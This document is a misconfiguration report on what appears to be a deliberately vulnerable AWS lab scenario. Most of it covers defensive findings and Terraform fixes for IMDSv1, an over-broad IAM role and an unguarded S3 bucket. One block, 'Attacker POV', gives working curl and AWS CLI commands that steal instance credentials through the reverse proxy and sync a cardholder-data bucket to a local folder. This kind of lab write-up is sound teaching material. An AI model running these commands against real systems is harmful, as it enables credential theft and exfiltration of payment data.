cloud_breach_s3 — Misconfiguration Report

Environment Overview

A single Virtual Private Cloud (VPC) containing two resources:

- **EC2 Instance** — Public-facing server running a reverse proxy, assigned an IAM instance profile. This is common, especially for organizations in the process of moving from on-premise to the cloud.
- **S3 Bucket** — Private bucket containing sensitive files, accessible via the EC2's IAM role.

Attack Chain Summary

```
Internet
    ↓
EC2 (reverse proxy, public IP)
    ↓ forwards Host: 169.254.169.254
Metadata Service (IMDSv1)
    ↓ returns
IAM credentials
    ↓ used to access
S3 bucket (confidential files)
```

Exploit Steps

1. The attacker finds the IP of an EC2 instance by shady means, and after some reconnaissance realizes that it is acting as a reverse-proxy server. This is common, especially for organizations in the process of moving from on-premise to the cloud.
2. After some research, the attacker uses `curl` to send a request to the web server and set the host header to the IP address of the EC2 metadata service.
3. The attacker's specially-crafted `curl` command is successful, returning the Access Key ID, Secret Access Key, and Session Token of the IAM Instance Profile attached to the EC2 instance.

4. With the IAM role's credentials in hand, the attacker is now able to explore the victim's cloud environment using the powerful permissions granted to the role.
5. The attacker is then able to list, identify, and access a private S3 bucket.
6. Inside the private S3 bucket, the attacker finds several files full of sensitive information, and is able to download these to their local machine for dissemination.

Attacker POV

```
# Step 1: Discover the IAM role name
curl -s http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/ \
  -H 'Host: 169.254.169.254'

# Step 2: Retrieve credentials
curl http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/<ec2-role-name> \
  -H 'Host: 169.254.169.254'

# Step 3: Configure stolen credentials
aws configure --profile erratic
aws_session_token = <session-token>

# Step 4: List buckets
aws s3 ls --profile erratic

# Step 5: Exfiltrate data
aws s3 sync s3://<bucket-name> ./cardholder-data --profile erratic
```

Misconfiguration Findings

1. IMDSv1 Enabled on EC2

What: The EC2 instance runs IMDSv1, which accepts unauthenticated HTTP requests to `169.254.169.254` with no session token required. The reverse proxy forwards requests without restricting the `Host` header, meaning the proxy blindly forwards requests to the metadata service and inadvertently returns IAM credentials.

> **Absence of a `metadata_options` block in the `.tf` config defaults to IMDSv1.**

Mitigation: Enforce IMDSv2 by specifying that `http_tokens` are required within `ec2.tf`.

```
metadata_options {
  http_endpoint = "enabled"
  http_tokens   = "required"  # enforces IMDSv2
}
```

IMDSv2 requires a session-oriented token obtained via a `PUT` request, preventing an attacker from replicating the token when making a request to the proxy server.

Why bother: If left unfixed, any SSRF vulnerability on the server becomes an instant credential theft, meaning no brute force needed.

---

2. Overly Permissive IAM Role

What: The IAM role attached to the EC2 instance has broad S3 permissions.

```
# Sourced from:
backend/terraform/scenarios/cloud_breach_s3/terraform/ec2.tf

resource "aws_iam_role" "cg-banking-WAF-Role" {
  name = "cg-banking-WAF-Role-${var.cgid}"

  assume_role_policy = jsonencode({
    Version = "2012-10-17",
    Statement = [
      {
        Action = "sts:AssumeRole"
        Principal = {
          Service =
          "ec2.amazonaws.com"
        }
        Effect = "Allow"
        Sid    = ""
```

```
      }
    ]
  })

  managed_policy_arns = [
    "arn:aws:iam::aws:policy/AmazonS3FullAccess"
  ]

  tags = merge(local.default_tags, {
    Name = "cg-banking-WAF-Role-${var.cgid}"
  })
}
```

The `assume_role_policy` block defines **who** can use the role (EC2 in this case). The `managed_policy_arns` block defines **what** the role can do. `AmazonS3FullAccess` grants full read, write, and delete on every bucket in the account. This wide access was most likely granted for convenience during setup rather than reflecting the application's actual requirements.

Mitigation: Apply least privilege. Replace `AmazonS3FullAccess` with a dedicated inline policy scoped to only the required bucket and actions.

```
statement {
  actions   = ["s3:GetObject"]
  resources = ["arn:aws:s3:::cg-cardholder-data-bucket-*/*"]
}
```

IAM condition keys (e.g., VPC or source IP) can restrict access further.

Why bother: Stolen credentials are only as dangerous as the permissions behind them. With least privilege, compromised credentials hit a wall instead of granting full account access.

---

3. S3 Bucket — Missing Access Controls

What: Confidential files sit in an S3 bucket accessible to the compromised IAM role with no additional guardrails. The bucket relies entirely on IAM permissions with no

bucket policies specifying VPC endpoints or source restrictions, no Block Public Access enforcement, and no encryption access controls.

Mitigation: Layer defenses. Restricting access by VPC endpoint, enforcing Block Public Access, and enabling S3 access logging means an attacker with stolen credentials gets logged when attempting to move data outside the network.

Why bother: IAM alone is a single point of failure. Layered controls ensure that a credential leak doesn't automatically equal a data breach.

Severity & Impact

Factor	Reality
Skill Required	Low
Exploit Time	Low
Detection Likelihood	Low
Data Obtained	Full cardholder dataset
Blast Radius	Every bucket in the account

The attacker needs no credentials, no prior access, and no specialized tooling.

For a general environment, the exposure of generic data would be troublesome. This bucket, however, contains payment card information, which carries significant consequences for mishandling.

Bottom Line

This configuration presents a **critical severity** finding with the combination of low attack complexity, high data sensitivity, and zero detection capabilities. Fixing any single misconfiguration listed above significantly reduces risk.